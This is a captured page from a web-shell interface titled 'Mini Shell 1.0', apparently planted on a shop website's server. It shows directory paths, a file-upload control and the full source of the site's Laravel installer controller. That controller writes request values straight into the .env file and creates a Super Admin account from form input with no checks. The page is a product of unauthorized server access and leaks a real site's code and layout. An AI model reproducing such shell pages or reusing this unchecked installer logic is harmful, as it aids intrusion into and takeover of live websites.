HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/InstallController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;

use URL;

use DB;

use Hash;

use App\Models\BusinessSetting;

use App\Models\User;

use MehediIitdu\CoreComponentRepository\CoreComponentRepository;

use Artisan;

use Session;



class InstallController extends Controller

{

    public function step0() {

        $this->writeEnvironmentFile('APP_URL', URL::to('/'));

        return view('installation.step0');

    }



    public function step1() {

        $permission['curl_enabled']           = function_exists('curl_version');

        $permission['db_file_write_perm']     = is_writable(base_path('.env'));

        $permission['routes_file_write_perm'] = is_writable(base_path('app/Providers/RouteServiceProvider.php'));

        return view('installation.step1', compact('permission'));

    }



    public function step2() {

        return view('installation.step2');

    }



    public function step3($error = "") {

        CoreComponentRepository::instantiateShopRepository();

        if($error == ""){

            return view('installation.step3');

        }else {

            return view('installation.step3', compact('error'));

        }

    }



    public function step4() {

        return view('installation.step4');

    }



    public function step5() {

        return view('installation.step5');

    }



    public function purchase_code(Request $request) {

        if (\App\Utility\CategoryUtility::create_initial_category($request->purchase_code) == false) {

            flash("Sorry! The purchase code you have provided is not valid.")->error();

            return back();

        }

        Session::put('purchase_code', $request->purchase_code);

        return redirect('step3');

    }



    public function system_settings(Request $request) {

        $businessSetting = BusinessSetting::where('type', 'system_default_currency')->first();

        $businessSetting->value = $request->system_default_currency;

        $businessSetting->save();



        $businessSetting = BusinessSetting::where('type', 'home_default_currency')->first();

        $businessSetting->value = $request->system_default_currency;

        $businessSetting->save();



        $this->writeEnvironmentFile('APP_NAME', $request->system_name);

        Artisan::call('key:generate');



        $user = new User;

        $user->name      = $request->admin_name;

        $user->email     = $request->admin_email;

        $user->password  = Hash::make($request->admin_password);

        $user->user_type = 'admin';

        $user->email_verified_at = date('Y-m-d H:m:s');

        $user->save();



        //Assign Super-Admin Role

        $user->assignRole(['Super Admin']);



        $previousRouteServiceProvier = base_path('app/Providers/RouteServiceProvider.php');

        $newRouteServiceProvier      = base_path('app/Providers/RouteServiceProvider.txt');

        copy($newRouteServiceProvier, $previousRouteServiceProvier);

        //sleep(5);



        if (Session::has('purchase_code')) {

            $business_settings = new BusinessSetting;

            $business_settings->type = 'purchase_code';

            $business_settings->value = Session::get('purchase_code');

            $business_settings->save();

            Session::forget('purchase_code');

        }

        return view('installation.step6');

    }

    public function database_installation(Request $request) {



        if(self::check_database_connection($request->DB_HOST, $request->DB_DATABASE, $request->DB_USERNAME, $request->DB_PASSWORD)) {

            $path = base_path('.env');

            if (file_exists($path)) {

                foreach ($request->types as $type) {

                    $this->writeEnvironmentFile($type, $request[$type]);

                }

                return redirect('step4');

            }else {

                return redirect('step3');

            }

        }else {

            return redirect('step3/database_error');

        }

    }



    public function import_sql() {

        $sql_path = base_path('shop.sql');

        DB::unprepared(file_get_contents($sql_path));

        return redirect('step5');

    }



    function check_database_connection($db_host = "", $db_name = "", $db_user = "", $db_pass = "") {



        if(@mysqli_connect($db_host, $db_user, $db_pass, $db_name)) {

            return true;

        }else {

            return false;

        }

    }



    public function writeEnvironmentFile($type, $val) {

        $path = base_path('.env');

        if (file_exists($path)) {

            $val = '"'.trim($val).'"';

            file_put_contents($path, str_replace(

                $type.'="'.env($type).'"', $type.'='.$val, file_get_contents($path)

            ));

        }

    }

}